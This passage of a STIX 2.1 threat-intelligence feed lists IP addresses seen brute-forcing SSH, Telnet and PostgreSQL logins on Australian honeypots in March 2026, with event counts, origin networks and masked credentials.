      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 2**********V, 3******6, P**********3, Q**********6, Y******6.",
      "id": "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.236.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****4, A******6, M*****5.",
      "id": "indicator--eeaadacb-8178-4468-bc3d-19b924954399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.210.77.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******e, 1******z, 1********t, 1******X, 3***********4.",
      "id": "indicator--e4cc1a16-a99a-4610-b535-5c70a8732c77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.95.236.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******b, 1*******C, 3***********4, 3**********4, 6**6.",
      "id": "indicator--3ea31e12-d45e-45e1-b4a4-7b453779b132",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.69.0.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58542. Organisation(s): Tianjij,300000.",
      "id": "indicator--2a077863-bc07-44d6-8674-33191c21a860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.81.4.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 388. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, a***n, a******3, p******d.",
      "id": "indicator--851e662a-ba7b-4032-b886-0afd82c4b18f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.185.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--61d379fd-d122-4736-a5b9-a436c41c191b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.70.136.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******#, 1**********c, 2****3.",
      "id": "indicator--d513a8f9-f9e7-48f5-b258-7d354950391f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--3fa6403d-13d8-4576-b94e-3bd1c70e04f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.170.6.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a********6.",
      "id": "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.179.119.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--69df31dc-a4c1-4dcc-b780-000bc059da76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.201.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--17b9b3c5-d451-4918-b557-7124a13265de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.240.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--964991fd-635d-4100-a055-8ae71306cce9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.137.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): t******t.",
      "id": "indicator--c428b463-9611-4cdf-bd2f-19d42675b615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.191.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2514. Organisation(s): NTT PC Communications, Inc..",
      "id": "indicator--b167ed26-3808-4036-abc3-6193f1433b73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.65.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, a***n.",
      "id": "indicator--5f28e629-d507-481b-a153-369617989da4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.142.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--dcf87308-955c-47cc-a513-4a5bf07560b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.203.20.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--999866c6-7dd6-4197-a466-4b6066718004",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.150.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f610d426-e85e-4c3f-a6f6-6d1145efa878",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.174.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r*****3.",
      "id": "indicator--25faae4a-ecd4-4e11-8e7c-50a544f540d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.141.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--84b97ffc-5d78-4437-9a82-eb726c0ddd02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.104.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--28a62fae-8dec-4511-b156-29111e6d0e1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.81.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 53062. Organisation(s): ALT | GRUPO BRASIL TECPAR. Usernames observed (masked): r**t. Passwords observed (masked): a******6.",
      "id": "indicator--42ca7975-ceb6-44e6-9fb6-252983e50d98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.85.155.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, d****n, b****p. Passwords observed (masked): 1****e, 1*******y, 4**1, 5***1, 6****1.",
      "id": "indicator--f0f6b478-f8c4-4e12-ace9-d7184efe7a89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.248.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.204.71.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--8096fb12-f1cf-48a5-8121-6a67786b90ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.27.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ba7cd4c5-c861-42e4-8158-39c738e54ce9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.89.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--b620d3b2-c582-4563-99ec-587ded77a552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******#, 1**********c, 2****3.",
      "id": "indicator--02a6dc49-06a0-4430-8281-2569624a7203",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.154.125.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a. Passwords observed (masked): ***, s****a.",
      "id": "indicator--4b6cc609-cdd6-4741-a5a5-fd674fa7cf39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T07:15:13.000Z",
      "valid_until": "2026-04-03T07:15:11.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********A, 1******1, 3***********4, 3**********4, P*******d.",
      "id": "indicator--014e057f-faef-4e57-8200-7fb473f55528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.55.33.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 1*********A, 1******1, 3**********4, H********@.",
      "id": "indicator--b6153a76-db13-4da6-a04e-187d62d6c5c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 171. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1****1.",
      "id": "indicator--75cd6237-1ef2-4052-a96d-d9c40b56d5c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.93.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
